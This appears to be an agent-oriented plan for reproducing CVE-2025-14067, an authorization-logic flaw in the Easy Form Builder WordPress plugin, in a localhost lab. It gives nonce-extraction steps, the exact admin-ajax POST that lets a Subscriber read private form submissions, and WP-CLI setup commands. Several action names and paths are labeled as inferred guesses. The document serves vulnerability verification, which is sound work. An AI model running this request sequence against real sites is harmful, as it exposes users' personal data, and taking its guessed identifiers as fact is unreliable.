Exploitation Research Plan - CVE-2025-14067

1. Vulnerability Summary

The Easy Form Builder plugin (versions <= 3.9.3) contains a missing authorization vulnerability in several AJAX actions. The vulnerability stems from a logic error in the authorization check where the code uses a logical AND (&&) instead of a logical OR (||) when verifying user capabilities. This error allows any authenticated user with at least Subscriber level permissions to bypass intended administrative restrictions and access sensitive form response data, including user-submitted messages, admin replies, and personal information.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Vulnerable AJAX Actions:
  • efb_get_responses_by_id (Inferred)
  • efb_get_messages (Inferred)
  • efb_get_report_details (Inferred)
• Required Authentication: Subscriber-level user or higher.
• Payload Parameters:
  • action: The vulnerable AJAX action (e.g., efb_get_responses_by_id).
  • id: The ID of the form submission or message to retrieve.
  • nonce: A valid security nonce (usually required for AJAX in this plugin).
• Vulnerability Mechanism: The check if ( ! current_user_can( 'manage_options' ) && ! is_user_logged_in() ) (or similar) incorrectly permits any logged-in user to pass, as ! is_user_logged_in() evaluates to false for Subscribers, causing the entire AND condition to fail and bypass the wp_die() call.

3. Code Flow

1. Entry Point: The user sends a POST request to admin-ajax.php with a vulnerable action.
2. Hook Registration: The plugin registers AJAX handlers in includes/class-easy-form-builder-ajax.php (inferred) using add_action( 'wp_ajax_...' ).
3. Authorization Check (The Sink):
   Inside the handler function (e.g., get_responses_by_id), the plugin performs a check similar to:

   if ( ! current_user_can( 'manage_options' ) && ! is_user_logged_in() ) {
       wp_die( 'Unauthorized' );
   }
   

4. Logic Failure:
   • For a Subscriber: current_user_can( 'manage_options' ) is false, so ! current_user_can is true.
   • is_user_logged_in() is true, so ! is_user_logged_in() is false.
   • true && false evaluates to false.
   • The if block is skipped, and the code proceeds to fetch data from the database.
5. Data Exposure: The function queries $wpdb->prefix . 'w_efb_responses' and returns the sensitive data as a JSON response.

4. Nonce Acquisition Strategy

The plugin typically enqueues a script and localizes it with a nonce for AJAX requests.

1. Identify Script Localization: Look for wp_localize_script in the plugin's main files or admin classes.
2. Key Identifier: The JS variable name is often efb_var or w_efb_nonce.
3. Extraction Steps:
   • Create a page containing an Easy Form Builder shortcode to ensure the scripts are loaded.
   • Use browser_navigate as the Subscriber user to this page.
   • Execute browser_eval to extract the nonce.

Verification Command (for agent):

// Example extraction
browser_eval("window.efb_var?.nonce || window.w_efb_nonce")

5. Exploitation Strategy

1. Pre-requisite: An administrator must have at least one form with a submission.
2. Session: Authenticate as a Subscriber user.
3. Nonce: Obtain the nonce via browser_eval from any page where EFB scripts are active.
4. Target Request:
   • Method: POST
   • URL: http://localhost:8080/wp-admin/admin-ajax.php
   • Content-Type: application/x-www-form-urlencoded
   • Body:

     action=efb_get_responses_by_id&id=1&nonce=[EXTRACTED_NONCE]
     

5. Observation: If successful, the response will be a JSON object containing the full content of submission ID 1, including potentially private fields like email, phone number, and message content.

6. Test Data Setup

1. Create Form: Use WP-CLI to create a form or rely on default EFB setup.
2. Create Submission: Simulate a form submission as a guest or admin to populate the w_efb_responses table.

   # Use the plugin's submission endpoint or insert directly via SQL if needed
   wp db query "INSERT INTO wp_w_efb_responses (form_id, content, user_info) VALUES (1, 'Sensitive Data', '{\"email\":\"victim@example.com\"}')"
   

3. Create Attacker: Create a user with the subscriber role.

   wp user create attacker attacker@example.com --role=subscriber --user_pass=password
   

4. Create Trigger Page:

   wp post create --post_type=page --post_status=publish --post_title="Forms" --post_content="[efb_form id='1']"
   

7. Expected Results

• Success: The server returns a 200 OK status and a JSON body containing the details of the submission (e.g., {"status": "success", "data": {...}}).
• Failure (Patched): The server returns a 403 Forbidden or wp_die message "Unauthorized" or similar.

8. Verification Steps

1. Check Response: Inspect the JSON response for sensitive fields (email, names, message body).
2. Database Cross-Reference: Verify the returned ID and content match the entry in the wp_w_efb_responses table.

   wp db query "SELECT * FROM wp_w_efb_responses WHERE id=1"
   

9. Alternative Approaches

• Action Brute Force: If efb_get_responses_by_id is not the exact name, check the includes/class-easy-form-builder-ajax.php file for any add_action('wp_ajax_...', ...) registrations.
• Admin Reply Exposure: Try the action efb_get_messages which is often used to display admin replies to specific form submissions.
• Reporting Endpoint: Check for efb_get_form_report, which might expose aggregated form data.